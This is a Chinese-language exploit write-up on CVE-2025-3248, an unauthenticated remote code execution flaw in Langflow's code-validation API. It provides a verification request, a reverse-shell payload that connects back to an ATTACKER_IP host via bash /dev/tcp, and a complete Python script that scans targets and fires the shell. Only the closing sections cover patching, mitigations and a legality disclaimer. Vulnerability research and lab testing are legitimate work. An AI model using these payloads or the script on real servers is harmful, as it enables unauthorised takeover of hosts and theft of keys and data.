1. Langflow API未授权远程代码执行漏洞深度解析
Langflow作为一款流行的开源AI工作流工具,其1.3.0版本之前存在一个关键级安全漏洞(CVE-2025-3248)。这个漏洞的核心在于/api/v1/validate/code接口的设计缺陷,该接口原本用于校验用户提交的Python代码的合法性,但却因为实现不当导致了远程代码执行的风险。
1.1 漏洞原理详解
漏洞的根源在于Langflow对Python代码的处理方式存在严重问题。具体来说:
- AST解析的局限性:虽然使用了Python的ast模块进行语法树分析,但仅做了基础的结构检查
- 装饰器与默认参数的误用:开发人员没有考虑到装饰器会在函数定义阶段立即执行,以及函数默认参数的表达式也会在定义时求值
- exec的滥用:在校验过程中直接使用exec执行了未经严格过滤的代码
典型的攻击payload结构如下:
python复制@exec("恶意代码")
def dummy_function():
pass
或者:
python复制def dummy_function(cmd=exec("恶意代码")):
pass
1.2 漏洞影响范围
该漏洞影响Langflow 1.3.0之前的所有版本,具有以下严重危害:
- 未授权访问:无需任何认证即可利用
- 完全服务器控制:可执行任意系统命令
- 数据泄露风险:可能窃取AI模型、API密钥等敏感信息
- 内网渗透跳板:如果服务以高权限运行,可能危及整个内网
2. 漏洞环境搭建与验证
2.1 测试环境准备
使用Docker快速搭建漏洞测试环境:
bash复制docker pull vulhub/langflow:1.2.0
docker run -d -p 7860:7860 vulhub/langflow:1.2.0
环境启动后,可通过http://localhost:7860访问Web界面。值得注意的是,漏洞利用不需要登录凭证。
2.2 基础漏洞验证
发送以下HTTP请求验证漏洞存在:
http复制POST /api/v1/validate/code HTTP/1.1
Host: localhost:7860
Content-Type: application/json
{
"code": "@exec(\"raise Exception(__import__('os').system('id'))\")\ndef foo():\n pass"
}
预期响应中应包含当前用户的UID信息,证明命令执行成功。
3. 反弹Shell实战
3.1 反弹Shell原理
反弹Shell是一种让目标主机主动连接攻击者机器的技术,相比正向Shell更易绕过防火墙限制。基本原理是:
- 攻击者在自己的机器上开启监听
- 通过漏洞在目标机器上执行连接命令
- 建立交互式Shell会话
3.2 Payload构造难点
在Langflow漏洞中实现反弹Shell面临以下挑战:
- 引号嵌套问题:JSON中的Python代码需要正确处理引号转义
- 命令编码问题:特殊字符如>、&需要适当处理
- 执行上下文限制:subprocess调用方式需要精确控制
3.3 最终解决方案
经过多次测试,以下payload结构最为可靠:
python复制def exploit(cmd=exec('raise Exception(__import__("subprocess").check_output("bash -c \'/bin/bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1\'", shell=True))')):
pass
将其转换为JSON格式:
json复制{
"code": "def exploit(cmd=exec('raise Exception(__import__(\"subprocess\").check_output(\"bash -c '/bin/bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'\", shell=True))')):\n pass"
}
4. 自动化利用工具开发
4.1 工具设计思路
为提高利用效率,可以开发自动化工具,主要功能包括:
- 目标URL检测
- Payload自动生成
- 监听端口自动设置
- 结果可视化展示
4.2 核心代码实现
python复制import requests
import argparse
import threading
from urllib.parse import urlparse
def check_vulnerability(target):
try:
response = requests.post(
f"{target}/api/v1/validate/code",
json={"code": "@exec(\"raise Exception(__import__('os').system('id'))\")\ndef foo():\n pass"},
timeout=10
)
return "uid=" in response.text
except:
return False
def exploit(target, lhost, lport):
payload = {
"code": f"def exploit(cmd=exec('raise Exception(__import__(\"subprocess\").check_output(\"bash -c '/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\", shell=True))')):\n pass"
}
requests.post(f"{target}/api/v1/validate/code", json=payload)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True, help="Target URL")
parser.add_argument("-l", "--lhost", required=True, help="Listener IP")
parser.add_argument("-p", "--lport", type=int, required=True, help="Listener Port")
args = parser.parse_args()
if not check_vulnerability(args.target):
print("[-] Target not vulnerable")
return
print("[+] Starting listener...")
# 这里需要实现nc监听逻辑
print("[+] Sending exploit...")
exploit(args.target, args.lhost, args.lport)
if __name__ == "__main__":
main()
5. 防御与修复方案
5.1 官方修复方案
Langflow在1.3.0版本中修复了此漏洞,主要措施包括:
- 移除了代码校验过程中的exec执行
- 增加了对装饰器和默认参数的严格检查
- 实现了更完善的AST解析规则
5.2 临时缓解措施
如果无法立即升级,可采取以下临时措施:
- 在网络层限制/api/v1/validate/code接口的访问
- 使用WAF规则拦截包含可疑装饰器的请求
- 以低权限用户运行Langflow服务
5.3 安全开发建议
- 永远不要信任用户输入的代码
- 使用沙箱环境执行不可信代码
- 实施严格的输入验证和输出编码
- 遵循最小权限原则运行服务
6. 渗透测试中的注意事项
在实际渗透测试中,使用此漏洞需要注意:
- 合法性:确保获得授权后再进行测试
- 影响评估:避免使用破坏性命令
- 日志清理:正规测试中应保留完整操作日志
- 权限维持:获得Shell后应及时修复漏洞
重要提示:所有安全研究都应遵守法律法规,未经授权的测试可能构成犯罪。本文内容仅用于教育目的,帮助管理员了解漏洞原理并加强防御。